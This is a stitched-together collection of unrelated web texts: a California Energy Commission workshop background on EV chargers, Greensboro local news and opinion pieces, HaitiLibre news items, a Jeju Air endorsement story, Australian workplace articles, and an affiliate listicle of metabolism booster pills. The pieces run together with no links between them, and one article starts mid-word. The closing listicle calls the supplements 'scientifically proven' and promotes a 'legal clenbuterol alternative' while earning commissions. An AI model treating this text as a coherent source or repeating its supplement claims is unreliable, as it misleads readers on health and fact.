Background. Beginning in 2008, the Energy Commissions Alternative and Renewable Fuel and Vehicle Technology Program (ARFVTP) has funded the installation of 7,490 electric vehicle (EV) Level 1, Level 2, and DC fast chargers at a variety of residential, multi-unit dwelling, commercial, workplace, and connector locations throughout the state. This represents roughly 80% of EV chargers installed in California since that date.

The Energy Commission also contributed funding to the California Air Resources Board (ARB) to provide rebates for 10,700 light-duty electric vehicles and 150 medium- and heavy-duty hybrid electric trucks as part of the initial vehicle incentive program. As of February 2016, electric vehicle cumulative growth exceeds 189,000 in California (or 45% of US electric vehicle sales), and includes the first 29 advanced electric medium- and heavy-duty vehicle technology demonstration projects.

The California Public Utilities Commission (CPUC) has approved two investor owned utility pilot projects and continues to deliberate on a third utility proposal to allow utility rate basing of EV infrastructure costs that would significantly increase the number of EV chargers installed in the state. The CPUC has also reached a settlement agreement to dedicate $100 million for investment in electric vehicle charger installations in California.

The Energy Commission elicited testimony and analytical studies from several stakeholders in the 2013 and 2014 Integrated Energy Policy Reports (IEPR), who noted the plausibility of increasing alternative and renewable transportation fuels two- to six-fold by 2020 compared to 2008.

The ARB concurred with this possibility through independent illustrative scenarios developed for the Low Carbon Fuel Standard. In adopting the 2014 IEPR, the Energy Commission recommended exploring methods to better incorporate data collection, analysis and lessons learned from past ARFVTP investments to evaluate projects, market growth and business plans for target technologies and sectors. The 2014 IEPR also recommended action to identify, assess and initiate funding strategies that further leverage funds commensurate with the commercialization phases of technology and project development.

This workshop is an initial step to establish an annual Technology Merit Review for ARFVTP projects and technology sectors, which might adopt and adapt aspects of similar activities conducted by the US Department of Energy.
When news spread that a legitimate Ethiopian restaurant was set to open in Greensboro, people in the know were holding their breath.

For anyone who has tried Ethiopian food, the thought of having the real deal here (instead of a long drive to Chapel Hill or Raleigh) was enticing  and mouth watering.

Despite the high hopes, there was caution in the optimism for this new business as well. Restaurants are notoriously fickle, and too many good ideas have fallen flat upon arrival.

In the fall of 2013, when Taste of Ethiopia officially opened its doors to the Greensboro community, the pilgrimage of curious, hopeful, hungry diners began immediately.

For people like us, a first generation immigrant growing up in an Eritrean household (Aden) and a longtime friend and advocate of the resettled Ethiopian/Eritrean refugee communities (Sarah), the restaurants promise was more than culinary.

An authentic Ethiopian restaurant would offer a taste of home for those whove settled far from their families.

It would be a place to bring American friends and loved ones to share in a familiar cultural tradition. It would be a fond reminder of youthful travels and adventures past and more importantly, could serve as a symbol of hope for our citys newest immigrants who dream of one day having a place of their own.

Neither of us wasted any time in getting ourselves (loved ones in tow) a taste of Taste of Ethiopia.

Taste of Ethiopia will play host to Ethnosh, the international food adventurers, to showcase the cuisine and culture of East Africa, on April 25. At this NoshUp, you can meet the Ashame family who brings all of this goodness to your city. For $8, you get a plate of signature samplers from a buffet of vegetarian and non-vegetarian items. Beer, wine and other beverages are available at an additional cost. Electronic reservations are required.

When we first entered the restaurant, our senses were delighted immediately by the warm scent of incense and spiced tea that greets you at the door.

The tables were soon set with a large platter lined with the spongy fermented flat bread  injera  that serves as both the foundation of the cuisine and the meals only necessary utensil.

Topped with a variety of warm brightly colored vegetable dishes, salads and spicy stews, the meal looks so good that even those of us who had eschewed injera since childhood (ahem, Aden), are compelled to give it another try.

The food did not disappoint and after filling our bellies and taking in the sights and sounds and smells that brought back so many memories for us both, neither of us could wait to spread the word about this amazing new find.

Given the opportunity to collaborate to tell the story of this delicious new restaurant find, we convened on a Saturday morning at Taste of Ethiopia to meet one another and the family behind the business.

Unexpected restaurateurs

Restaurant owners Lulit Kifle and Elias Ashame met in college in the late 1990s when Ashame was studying to be a doctor and Kifle a nurse. The two fell in love amid their studies and soon became inseparable.

When Ashame was later given the opportunity to come to the United States to work as a physician, Kifle followed.

After living in places like up-state New York (too cold) and Arizona (too hot), the couple, married by this time with two young children, eventually settled on Greensboro, a city they found to be just right.

With a permanent place to call home and the lure of grandchildren, Kifles mother, Azeb Sinke, soon came to join them in the United States, where several other extended family members on both sides had already settled.

Though Greensboro had much of what the family was looking for, they felt the absence of their home culture and traditions in the public arena of the Triad.

Despite a large and growing Ethiopian and Eritrean community in the Piedmont, only one market sold regional spices and food products, and the closest Ethiopian restaurant was over an hour away.

Kifle (Luli to friends) and Ashame had long held on to the dream of bringing a taste of home to their adopted city, and having Sinke settle nearby seemed to be the last piece of the puzzle.

Sinke had always been an amazing cook, whipping up food for huge events and parties as if it were as simple as cooking for two.

She had both a passion and skill with food that drew people in and at one point had even run her own restaurant in Ethiopia. Her family knew that given the opportunity, others would love her food as much as they did.

And so it was, with the support and generosity of their extended family, Kifle and Ashame took the plunge and in the fall of 2013, opened Taste of Ethiopia.

The family designed a menu that features a wide variety of Ethiopian staples with plenty of vegetarian and vegan fare reflective of the traditional Ethiopian Orthodox Christian practice of abstaining from meat on fasting days (a practice that is upheld on 180 to 250 days of the year in Ethiopia).

They decorated the bright new space, a former deli tucked away on a side street off West Market Street, with cultural photographs and traditional artifacts.

And while they were confident in Sinkes cooking and knew that the Ethiopian community would come out to support them, they truly didnt know what to expect from Greensboro.

The restaurant today is bustling, with family members on both sides pitching in as servers, hosts and cooks, and a steady stream of customers for both lunch and dinner.

When we asked the couple what had surprised them most about their new experience as restaurateurs, they both agreed that it was the community response.

People love the place  and not just their friends in the Ethiopian community. All kinds of people have been making their way to Taste of Ethiopia, navigating through new customs and foods, pushing their limits of familiarity, and falling in love.
A stop for ice cream in Mystic, Conn., a few years ago gave Cathie Holcombe an idea.

On the counter in the ice cream shop sat a decorated box with a poem and notebook inside encouraging customers to enjoy the poem and then leave their thoughts in the journal.

This box was just one of many placed at various locations along a walking tour of Mystic. Each box contained a different poem and was decorated to reflect something about the poem.

I thought it was the greatest idea, Holcombe said. It brings poetry to people who might think they hate it or would never open a book to read a poem.

Some of the boxes were installed on posts at various stops, and some were located inside businesses and organizations.

Holcombe, a member of the Writers Group of the Triad, decided Greensboro needed something similar.

People can walk around and enjoy poetry in a whole new way, Holcombe said.

The Writers Group of the Triad is sponsoring a Visual Poetry Walk and is seeking artists and poets to participate. The deadline to apply is April 30, and the walk will run from August to October. Visual poetry boxes will be installed in sites downtown on a walking trail.

Boxes can be made from recycled materials to anything creative, Holcombe said. The boxes should be waterproof.

So far, 13 sites downtown have agreed to host a box, including the Greensboro Childrens Museum, the International Civil Rights Center and Museum, the Central Library, Urban Grinders coffee shop and art gallery and Mack and Mack clothing store.

Holcombe said the idea is for families to be able to do a mile walk and enjoy the poetry and boxes at each stop.

We would love to get different neighborhoods and maybe even marginalized populations involved, Holcombe said.

The call for artists is open to all ages and anyone in the Triad. Local artists Jerry Cartwright, who displays his work at Art Mongerz, and Mia Walser, who displays her art at 205 Collaborative, created sample boxes for the project.

Walser created a poem, as well as a sample box in size, functionality and style for the program. Her poem and box were inspired by her love of relaxing in her backyard hammock.

Without giving away my whole poem, its about joy  a smile from the heart, Walser said. This is a project that gives people a chance to enjoy the beauty of mind and the world around us and reflect.

A painter since 1994, Walser also enjoys writing. For her box, she used leftovers from a home renovation project and things found around her backyard.

Through my poem and box, I hope people would, too, find the connection with nature and appreciate things around us and respect natural resources, Walser said. Moreover, I hope they realize that joy doesnt have to always come with consumption.

Holcombe said the committee hopes to judge the applications in May and have the winners display sample boxes during Greensboros Fun Fourth Festival in July.

Holcombe sees the project as a positive for artists involved.

When artists collaborate in two different mediums, it opens the minds of artists and inspires them, Holcombe said.

She also sees the project as a positive for the community.

Folks walking around enjoying free art as they stroll, and parents and children conversing about their thoughts on a piece makes me smile, Holcombe said. I hope the Visual Poetry Walk inspires more conversations between people.
GREENSBORO  The Guilford County Board of Commissioners may hold a meeting to gather public input about the Rich Fork Nature Preserve, but most likely not before July.

That would allow the board to adopt a budget for the upcoming fiscal year, a much higher priority, said Commissioner Jeff Phillips, the boards chairman.

We have a $600 million budget before us, Phillips said Thursday at the boards regular meeting. Our schools and our public health and our social services and our facilities and the list goes on and on ... that is, and that will be for me personally, the priority between here and the end of June.

The fate of the Rich Fork Preserve has been in doubt since last fall, when preservationists and mountain bikers began debating in earnest whether cycling trails should be permitted on the 116-acre property in High Point.

The fight flared up earlier this month at a meeting of the Parks and Recreation Commission, where the two groups spent several hours discussing the issue, frequently shouting over each other and members of the board.

The controversy has been discussed at a handful of other meetings, including a commissioners meeting in December and a gathering at the High Point Public Library in January that drew hundreds of people, many forced to stand in the hallway.

But the county has never held a public meeting to gather input from residents who live near the preserve.

Commissioner Kay Cashion said the library meeting doesnt count because residents were asked to submit their thoughts in writing on index cards.

That is not a public meeting, Cashion said. I do think we owe that to the citizens, whether or not its timely to do it while were in the process of the budget.

The issue will not come before the board formally until the Parks and Recreation Commission approves a master plan and forwards it to the commissioners. The group is expected to vote on the matter at its May 10 meeting.

If the county does hold a meeting to gather input before the commissioners make a decision, it needs to be at a place that can adequately accommodate a large crowd, Commissioner Alan Branson said.

The High Point library was extremely way too small the last time, Branson said. The crowd was out of control  both sides.

But that was most likely due to frustration, said Herb Goins, a member of the Rich Fork Preserve Committee who addressed the board during the public comment period at Thursdays meeting.

I believe that both sides came to that meeting thinking theyd have a chance to speak, said Goins, whose house sits next to the preserve.

Branson, the boards liaison to the Parks and Recreation Commission, also cautioned that residents would need to be respectful during future meetings, refraining from shouting over each other and trading insults.

Weve had situations ... where you have an individual thats strong for one side or the other that will continue to lash out and act unprofessionally, he said. Thats not the best way to ... move things forward.

The board left the discussion somewhat open-ended. Commissioner Carolyn Coleman, who has advocated for a public meeting on the matter since December, pushed Phillips to provide a specific timeline for the event.

Phillips said that he wouldnt consider it until July at the earliest.
Thursdays are garbage pick-up days in Bloomington Indiana.

They are also days that 3-year-old Brooklyn Andracke looks forward to because those are the days when one of her favorite friends rolls through the neighborhood.

According to Mashable, Delvar Dopson, a garbage collector, is Brooklyn's "favorite, awesome, smiley garbage man."

Brooklyn is so fond of her friend that recently she saved one of her birthday cupcakes for Dopson.

"It started with waving from the window, then we had to try and be outside to wave," according to Brooklyn's mom. "And when we missed the truck driving by the house, I'd drive around the neighborhood to find the garbage truck and wave on our way out the door in the mornings."

Read more about this special friendship here
CHAPEL HILL  Two high school seniors who attend Greensboro schools are among this year's recipients of UNC-Chapel Hill's most prestigious scholarship.

The university today announced that 67 Morehead-Cain Scholars will enroll in the school this fall. Thirty-five scholars are from North Carolina. Another 24 are from other states, while eight are international students.

Local winners are Danielle du Preez, who lives in Greensboro and attends The Early College at Guilford, and Shreya Ashish Shah, who lives in Summerfield and attends Greensboro Day School.

Other scholars from the area are Samuel Sumner Lowe and Megan Elizabeth Miller, who both live in Elon and attend Western Alamance High School; Daniel Shiloh Malawsky of Chapel Hill, who attends the UNC School of the Arts in Winston-Salem; Ashley Caroline Meise, who attends R.J. Reynolds High School in Winston-Salem; and Elizabeth Edna Stockton of Winston-Salem, who attends Forsyth County Day School.

The Morehead-Cain is a merit scholarship that covers all expenses for four years of undergraduate study at UNC-CH as well as summer programs.

For a full list of winners and more information on the scholarship, click here.
WASHINGTON  As Archie Bunker might say, the world is going down the terlet. And how.

Who could have predicted that politics would require serious discussion of who uses what restroom? Or, personally speaking, a second column? Alas, it seems that yet greater clarity is needed regarding this terribly serious, faux dilemma of proper bathroom usage in North Carolina.

As you likely know, the state recently passed a hastily written bill, signed by Gov. Pat McCrory, to pre-empt a Charlotte law that would have allowed transgender folks to visit the facility corresponding to their gender identity.

Lawmakers, alert to the presumably rampant problem of gender fakery, ordered: Women and men must use restrooms that correspond to their sex as indicated on their birth certificates.

It is actually not insane to insist that men use the mens room and women use the womens. Most people reckon this system has worked fine and see no reason to make accommodations for the roughly 700,000 Americans who are transgender. What has become clear, however, is that North Carolinians and others arent worried about transgender people; theyre worried primarily about heterosexual men who pretend theyre transgender to gain access to womens quarters.

For what purpose would a man do this? I can imagine a fraternity initiation prank or a punk on a dare using the womens facility as a foil. Oh what fun to hear the ladies shrieking. Or, perhaps, not. Maybe the women tackle the idiot and toss him out the door. Thats where Id put my money.

As to the would-be rapist/fondler/exhibitionist, why would anyone imagine that a law forbidding transgender people from entering the womens room would stop him from walking through an unlocked door?

The backlash has been harsh. Pearl Jam canceled a concert in Raleigh, following Bruce Springsteens example. Several cities and states have cut government-subsidized travel to North Carolina. And Monday, Duke University President Richard Brodhead said that the law has damaged the states reputation and is having both financial and material impact on its colleges and universities.

In response to these concerns and other financial losses, McCrory last week issued an executive order almost as abruptly as he signed the original bill. He said hell urge the legislature to amend the law to reinstate the right to seek legal recourse in state court for employment discrimination. The bathroom part of the bill would remain, as would the laws mandate that cities and municipalities may not pass their own nondiscrimination laws. For McCrory, who is up for re-election, the issue comes down to conservative principles of limited government.

On Sundays Meet the Press, he told host Chuck Todd that he will always call out government overreach. This might be a good campaign motto, but isnt the state overreaching by telling the residents of towns and cities that they cant pass their own laws? In effect, this means that a business in, say, Hamlet, N.C., where McCrory recently visited what he termed an African American buffet restaurant, could deny service to my delightful gay married neighbors.

As luck would have it, McCrorys appearance on the NBC program coincided with my own, exactly one day following The Washington Posts publication of a letter from McCrory excoriating me and my earlier column. What fun! Before the show, we found ourselves seated just inches apart in makeup. Nothing quite neutralizes tensions like comparing foundation notes. Miraculously, I was able to suppress the transgender quip that was performing cartwheels on the tip of my tongue.

We chatted in that Southern way  with Dentyne smiles and lizard eyes. Bless his heart.

While it is understandable that some people would be uncomfortable with the idea of faux transgender males ogling their daughters, Id be far more concerned about sending a boy into the mens room where even pedophiles are allowed to relieve themselves. Imagine what would happen to Caitlyn Jenner if she were forced to use the mens room. Or, what about a transgender man, who, though hes bald, bearded, muscled and rough, is forced to use the womens room?

But of course, she and he wont. Because this bathroom law is utterly unenforceable and therefore unnecessary. What we have is a non-solution to a non-problem. And my guess is McCrory knows it. He should flush HB 2 down the terlet.
While the News & Record has been preoccupied with pursuing the social injustice of males not being allowed into the ladies room and girls locker rooms/showers via HB 2, this story from The Hill headlined Insurers warn losses from Obamacare are unsustainable seemed to have escaped your attention (surprise, surprise).

BCBS (one of the top carriers in N.C.) released a statement last month stating new customers under the Obamacare exchanges had 22 percent higher medical costs than customers who were insured under private plans (surprise, surprise again!). The insurer dropped out of the New Mexico Obamacare exchange after regulators rejected a plea from it to increase its premiums by more than 50 percent, the amount BCBS says was necessary to stay financially liquid. (Liberals will call this unbridled corporate greed, of course, but profit is what keeps people employed, not government handouts.)

BCBS of N.C. CEO Brad Wilson said the company had lost $400 million due to its affiliation with the Obamacare exchanges and is considering dropping out of the exchanges altogether.

Just a friendly reminder that there are other stories out there besides HB 2, Bruce Springsteen and other high-profile liberal social-justice warriors, and just because its not all good news for Democrats doesnt mean you are required to ignore them.

John Parson

Stokesdale
Come on.

General Mills tried to argue that its a Minnesota company, and Prince was a Minnesota man, so it was totally authentic. Cheerios wasnt the only food brand (not to mention NASA and other brands) to bring the Purple Rain, though its seemed to have gotten most of the hate. Four Loko, which actually still exists for some reason, tweeted an image of someone pouring out a purple one against a purple backdrop; local company Caribou Coffee tweeted out a purple banner; and Makers Mark tweeted out an image of its whiskey with its bottles normally red wax seals colored purple. What all of this has to do with Prince remains unclear. The only possibly appropriate brand tweet would be from a pancake-mix company, obviously.

[WSJ]
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Haiti - Diaspora : Message from the Ambassador of Haiti in Canada





Wednesday, April 20, as part of the celebration of the National Day of the Diaspora, an initiative of the Government of Haiti (Presidential Decree of 16 March 2011 https://www.haitilibre.com/en/news-2667-haiti-society-the-diaspora-will-be-celebrated-each-year-on-april-20.html ), the Ambassador of Haiti accredited to Canada, Frantz Liautaud, delivered a message to the Haitian community in Canada.



Message from the Ambassador of Haiti in Canad :



"Ottawa April 20, 2016



Dear friends of the Haitian community,



Faithful to this rendezvous of April 20, I experience once again a pleasure, in my capacity as Ambassador of Haiti to Canada, to extend to you, on behalf of the Provisional Government of the Republic, in that of the Mission and in my own, a friendly hello in this auspicious day dedicated for some time to our diaspora scattered here and there in the world.



No particular theme this year, the circumstances, at that point binding obliging the responsible authority to concentrating in priority, face of contrary currents, on the stability of the country and the thoughtful revival of the electoral process interrupted by the force of things...



Never mind ! Let's impose us, however, on our territory, the enriching theme of the Brotherhood and the "Living together" core values that characterize to the desire of nobility of our community.



In this April 20, 2016, I want ro says you again, dear compatriots and friends, that I am proud of you : of your hard work; your proven expertise in your respective responsibilities; of respect for the other, in the host country and of course, your unimpaired love of homeland...



So many qualities that have given you recently at the initiative of a great friend of Haiti, the Honourable Mauril Belanger, this resolution passed unanimously in the House of Commons, declaring May 18, the date of Haitian Flag Day, 'Haitian community Day, for its active contribution to the socioeconomic development of Canada' https://www.icihaiti.com/en/news-16416-icihaiti-diplomacy-the-government-of-haiti-will-decorate-a-canadian-federal-deputy.html



Such a distinction reflects, of course, on all of us, from here and elsewhere.



On behalf of my wife, Ms. Liautaud, of my collaborators of the embassy, I ask you, my friends, to accept our warmest congratulations, made from the heart.



May God bless Haiti !



Frantz Liautaud

Ambassador"



HL/ HaitiLibre






















Haiti - Economy : MEF sign a protocol on cash management with the BRH





Wednesday Yves Romain Bastien, the new Minister of Economy and Finance (MEF) and Jean Baden Dubois, the Governor of the Bank of the Republic of Haiti (BRH https://www.icihaiti.com/en/news-16130-icihaiti-politic-surprise-resignation-of-a-member-of-the-new-board-of-directors-of-the-brh.html ) signed a Memorandum of Understanding on cash management.



According to the signatories, the agreement which will allow to exercise a strict control over the revenue taht the State have, reflects the desire of the Government of rational management of public spending.



As said Minister Yves Romain Bastien "it is time to stabilize the depreciation of the gourde and that over time it can recover some value."



For his part, the Governor of the BRH has encouraged Haitians to purschase of "Bons BRH" to contribute to the exchange rate stabilization effort and maintain their purchasing power.







HL/ HaitiLibre






















Haiti - Environment : Simon Dieuseul Desras met Segolene Royal in New York





Thursday in New York the day before the opening ceremony of signatures of the Paris Agreement on Climate Change (COP21) this Friday, April 22 and that will continue until 21 April 2017, Simon Dieuseul Desras, the new Minister of the Environment of Haiti, met with Segolene Royal, the French Minister of Environment, Energy and the Sea, responsible for international relations on climate.



After having thanked France for its support throughout the process leading to the development of its Planned Contribution Determined at National level (the CPDN) Download the proposal of Haiti : https://www.haitilibre.com/docs/CPDN_Republique-d-Haiti.pdf



The Minister Desras confirmed to the Minister Royal that his Ministry in this transition period, intended to respect the commitments of Haiti signed in September 2015.



Moreover, Desras strongly request the assistance of France in line with the promises made by President Francois Hollande during his visit to Haiti to help the country to develop a program to strengthen its technical capacity, particularly in terms of evaluation, study of environmental impacts and adaptation strategy development (for agriculture, water resources, tourism and energy, transport) and also develop and implement training programs for careers in the sea, intended for environmental monitoring agents.



He also praised France for its International Alliance Initiative for solar energy and reaffirmed the willingness of Haiti to be part and beneficiary of this initiative, saying that Haiti relies on the support of France for the installation of solar panels production units that have the effect of reducing pressure on natural resources and creating opportunities and sustainable employment.



Download the agreement of the COP : https://www.haitilibre.com/docs/l09r01.pdf



See also :

https://www.haitilibre.com/en/news-17231-haiti-environment-dieuseul-desras-to-the-signing-ceremony-of-the-paris-agreement-cop21.html

ttp://www.haitilibre.com/en/news-17224-haiti-news-zapping-politics.html

https://www.haitilibre.com/en/news-16066-haiti-cop21-the-fruits-have-finally-found-the-promise-of-flowers-dixit-dominique-pierre.html

https://www.haitilibre.com/en/news-16042-haiti-environment-michaelle-jean-welcomes-the-agreement-of-the-cop21.html

https://www.icihaiti.com/en/news-16034-icihaiti-environment-cop21-haiti-shares-his-experiences-with-africa.html

https://www.haitilibre.com/en/news-15913-haiti-environment-5-priority-major-challenges-for-haiti.html

https://www.haitilibre.com/en/news-14959-haiti-environment-global-warming-could-cost-3-billion-dollars-to-haiti-if.html

https://www.haitilibre.com/en/news-9334-haiti-environment-launch-of-the-project-south-sea-mer-sud.html

https://www.haitilibre.com/en/news-9356-haiti-environment-$12mm-for-the-macaya-natural-national-park.html

https://www.haitilibre.com/en/news-4677-haiti-environment-2-years-after-the-reforestation-is-a-priority.html



SL/ HaitiLibre






















Haiti - News : Zapping politics...





Privert in New York

This Friday, April 22, at United Nations Headquarters in New York, President a.i. Privert will participate in the official signing of the Paris Agreement on Climate Change (COP21).



On the sidelines of this important event to the United Nations, the President Privert will meet with several prominent political figures, and attend a cocktail offered by the Permanent Representative of Haiti to the United Nations, during which he will meet the very large Haitian diaspora community.



In the event of non-compliance of dates

Wednesday, Prime Minister Enex Jean-Charles answering senators' questions on the non-compliance with dates of 24 April and 14 May, under the agreement for the holding of the second round of elections and the swearing in of the new president elected, responded, "If you can not respect the dates, the agreement provides that it is the National Assembly that will decide..."



End of term of Privert

Congressman Gary Bodeau, Quaestor of the office of the Lower House, said that a resolution of the Chamber of Deputies on the end of the term of President Jocelerme Privert and the Verification Commission was underway, without revealed the content of the resolution.



Letter from Martelly to Privert, without comment...

Since New York President a.i. Privert declared "No international partner has put pressure on me regarding the Verification Commission." Moreover he said not wanting comment on the letter he received from former President Martelly https://www.haitilibre.com/en/news-17180-haiti-flash-martelly-wrote-to-privert.html "[...] Former President Michel Martelly has the right to have an opinion [...] It is an ordinary citizen like all other citizens..." Privert seems to forget that this "ordinary citizen" is the co-signer of the political agreement that he also signed...



Evans Paul unpersuasive

On Thursday, the Senate Commission "Ethics and Anti Corruption" questioned the two former prime ministers Evans Paul that awarded himself a 7/10 rating for its management, said he does his work within the law, with honesty and sense of responsibility. Youri Latortue, President of the Commission and Senator Onondieu Louis have not been convinced by the explanations of Evans Paul. As for Jean-Max Bellerive he said that under his administration, the use of PetroCaribe funds was done with prudence, transparency and responsibility...



A commission to satisfy the Privert friend's

Lucien Jura, a member of PHTK and former Spokesman of the Presidency, assimilates the Electoral Verification Commission by the President Privert to new erring intended to satisfy his political friends. Noting an inconsistency in the fact that the mandate of the Commission, exceeds in terms of the deadline of the Head of the provisional government.



HL/ HaitiLibre


















The Westhampton Beach Performing Arts Center has been a hub of the Hamptons since 1998, with the building dating back even further. The building has been part of Westhampton Beach for over three generations, first opening as a movie theater before the building was later purchased by United Artists and changed to a single-theater movie house. Then, in the mid-1990s, a group of village residents and business owners purchased the theater and started the movement to create a performing arts space.
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Published on 2016/04/22 | Source

Song Joong-ki is the new face of budget carrier Jeju Air thanks to his huge popularity in the recently concluded TV series "Descendants of the Sun".

Advertisement

The low-cost carrier is mainly trying to appeal to travelers from China, where the soap was a massive hit.

Song signed an endorsement deal with Jeju Air on Thursday. The carrier said it hopes to raise awareness of its brand in Chinese-speaking countries by featuring him in commercials for a year.

Jeju Air operates regular flights to six Chinese cities including Beijing. But to meet soaring demand in the high season, it has been offering irregular services on 20 routes to 10 cities in China and Macao since last month.

Jeju Air said hiring big stars has been well worth the huge outlay since sales soared from W157.5 billion in 2010 to W608 billion last year.

To continue this growth, the carrier has to increase its market share in China and East Asia, a spokesman said.
ederal police worker who was allegedly bullied, intimidated and sexually harassed by colleagues has lost a compensation claim.Despite the Administrative Appeals Tribunal finding in her favour last year, the AFP employee recently had her compensation win overturned after a successful appeal from the federal government's workplace insurer, Comcare The unsworn AFP employee had claimed compensation for psychiatric injury, saying she had been sexually harassed and bullied at work between 2010 and 2013.These incidents included sexual harassment and derogatory, sexually explicit and suggestive comments made to her by a male AFP agent, who she claimed would try to touch her and stand behind her and breathe heavily.She alleged another colleague bullied and harassed her over a 12-month period starting in 2010, including, she said, "speaking behind my back" and "regularly talking about my conduct and behaviour in the office", the Canberra Times reported.Upon assessment, a doctor diagnosed her with a "personality related adjustment disorder on the background of high interpersonal sensitivity".However, Comcare rejected her claim for original claim for compensation and launched its own appeal in the Federal Court.Comcare argued that the tribunal made an error by dealing with a claim for injury that was "fundamentally different" to the original claim.Originally, AFP employee claimed compensation for an injury that arose from an October 2013 meeting with a colleague and their supervisor.The woman left the meeting upset and distressed, saying that lies were being spread about her. She went home and was later certified as unfit to return to work.Comcare argued that the womans original claim had focused on this particular meeting, and not on the other bullying and sexual harassment incidents.Therefore, it argued that it shouldnt be liable to pay compensation for these incidents, nor should it pay compensation for that meeting since it was considered a reasonable administrative action.The federal court agreed that the womans original claim focused on the 2013 meeting."Even though a claim may be generally expressed, it must nevertheless properly and adequately inform Comcare such that Comcare can make an informed decision on whether the claim as made should be met," Justice Geoffrey Flick found."Nor does it promote good administration and the proper resolution of claims for compensation to encourage a course whereby claimants may opportunistically (for example) seek to re-characterise a claim as one other than that in fact made," Flick says.The AFP worker can make a new claim focusing on the incidents that occurred between 2010 and 2012 if she wishes.
Negotiating a new enterprise agreement can be a stressful time for employers, particularly when your employees want a wage increase but the economic reality is that you cant meet their financial expectations.



Companies can consider offering a range of incentives to their employees in the place of pay rises, says Matthew Smith, partner at Sparke Helmore Lawyer.



Employers are able to consider all kinds of incentives such as linking pay rises to workforce performance or output in order to increase productivity so that the impact to the balance sheet is diminished, Smith told HC Online.



Employers can also consider offering more flexible working arrangements, he says.



However, this will depend on the specific employer and what compromises that employer can facilitate without compromising its business operations, Smith says.



In tough economic times employers may be reticent to offer significant pay rises to employees for fear of the financial impact these additional costs will have on its business or its ability to avoid redundancies, Smith says.



However, any matters to be included in the agreement must be permitted matters meaning matters pertaining to the relationship between the employer and employees, the relationship between the union and the employer, wage deductions authorised by employees or how the agreement will operate, he says.



He says the new agreement must also leave the employees better off overall (meaning employees receive on an overall basis more beneficial terms than they would otherwise receive under the applicable modern award) for the agreement to be approved by the Fair Work Commission.



While there is no one-size-fits-all approach, both employers and employees should be minded to think flexibly in order to achieve a mutually acceptable outcome.



It is in the best interests of employers and employees if a business is profitable and performing well, Smith says.



This requires employer and employee cooperation.


All articles are produced independently. When you click our links for purchasing products, we earn an affiliate commission. Learn more about how we earn revenue by reading our advertise disclaimer.

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More and more people are on the lookout for finding the best metabolism boosters, whether through natural tools like exercise and diet or metabolism booster pills. The latter also seems like a more accessible option since theyre supposed to help boost your metabolism, burn fat, and help you lose weight without any lifestyle changes on your part.

Finding the ones that will work for you is always a tricky question as it greatly depends on the individual. Still, its important to know how they work and which ones may be slightly better for you to give a try.

Best Metabolism Booster Pills In (October. 2022) PhenQ  Editors Choice

 Editors Choice LeanBean  Best for Women

 Best for Women PhenGold  Best All-Natural Ingredients

 Best All-Natural Ingredients Instant Knockout  Best for Suppressing Appetite

 Best for Suppressing Appetite CrazyBulk Clenbutrol  Best for Fast Results

Do Metabolism Boosters Pills Work? As metabolism booster pills are gaining popularity, the question of their efficacy comes into play. Do these magic pills actually work for weight loss, and can they actually boost your metabolism? The way metabolism booster pills work is through a process called thermogenesis[1], or increased body heat production, which is a normal by-product of human metabolic processes. Through thermogenesis, your overall energy expenditure and resting metabolic rate increase and therefore more calories are being burnt. When the body heats up, its doing what it can to cool down, and during that process, it burns calories. Metabolism booster pills and other metabolism booster supplements are usually created as a combination of different ingredients which have an effect on boosting your metabolism. Some of them are more researched than others, but its worth exploring the most common ones to note their possible effects. While some can come from a lab, others are naturally found in certain foods such as chili peppers, coffee, and guarana. Most brands combine these two groups and create the best metabolism booster pills and supplements to help you deal with unwanted weight gain and assist in reaching your goals. Effects of Metabolism Boosters on Losing Weight The best metabolism booster pills claim to have an effect on weight loss and fat-burning hormones in the body through a combination of its ingredients, such as caffeine, resveratrol, green tea extract, conjugated linoleic acid (CLA), and others. Some of them contain pure lab-grade compounds, another claim to be all-natural, while the majority feature some sort of a mixed formula that combines both. The effects metabolism boosters have on losing weight happen due to thermogenesis, appetite suppression, a reduction of cravings, and overall improved performance during your workouts. This way, youre burning more calories, using fat storage for fuel, and consequently, losing weight and optimizing your muscle gains. Supplements are not the only way to get that weight off and keep your metabolic rate high; eating a balanced diet high in protein-rich foods helps maintain blood sugar levels and satiate the appetite.

The Line Up At A Glance

Editors Choice PhenQ Power of multiple weight loss supplements in one pill

The high-quality formula is produced in the US and UK

No prescription required

A unique trademarked formula called -Lacys Reset is included. Up To 50% Off When Buying In Bulk Best for Women LeanBean Premium ingredients with no harmful stimulants

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Focuses on combining with a healthy lifestyle Up to 55% Off When Buying in Bulk Best for Suppressing Appetite Instant Knockout Scientifically backed for suppressing appetite

All-natural ingredients

Certified vegan friendly Best for Fast Results CrazyBulk Clenbutrol Legal clenbuterol alternative

Delivered within 24-48 hours

Improves cardiovascular performance

Top 5 Best Metabolism Booster Pills To Burn Fat

PhenQ Up To 50% Off When Buying In Bulk See PhenQ Reviews Phenq is a premium metabolism-boosting supplement that combines a variety of incredible compounds into a unique blend that promotes fat burn and weight loss. If looking for one metabolism booster pill to go with, choose Phenq. Power of multiple weight loss supplements in one pill

The high-quality formula is produced in the US and UK

No prescription required

A special trademarked formula called -Lacys Reset is included. On the pricier side

Results may vary Phenq uses the highest quality metabolism-boosting ingredients prepared in FDA and GMP-approved facilities in the US and the UK. Combined, they create a unique, trademarked formula called -Lacys Reset. This special and scientifically proven formula accelerates your metabolism, increases fat oxidation, and activates thermogenesis, helping you burn calories, lose weight and maintain a healthy weight in the future. The more your body heats up, the more it burns, so when you pair it with an intense workout, your results will greatly improve. They are on the pricier side, but they offer a 60-day money-back guarantee in case youre not satisfied with your results.

LeanBean See Leanbean Reviews Finally, a metabolism booster pill thats created with women in mind. Although being limited to women is a con in the overall viewpoint, its nice to know that LeanBean has a specific target audience. Premium ingredients with no harmful stimulants

Optimal dosing with six capsules a day

Natural, vegan-friendly ingredients Specifically designed just for women

Only available online Created with 12 natural, metabolism-boosting ingredients, LeanBean has a craving-reducing, and appetite-suppressing formula that keeps you fuller for longer and helps you shed pounds, helps with weight maintenance, and burns unnecessary fat. These 12 ingredients work in synergy and help jumpstart your metabolism, activating thermogenesis. Positive reviews all mention a boost in energy, mood, and confidence, in addition to weight loss and an overall happier mindset and body image. Since theyre created for women, they have the menstrual cycle in mind too, helping you reap the rapid fat-burning benefit in each stage.

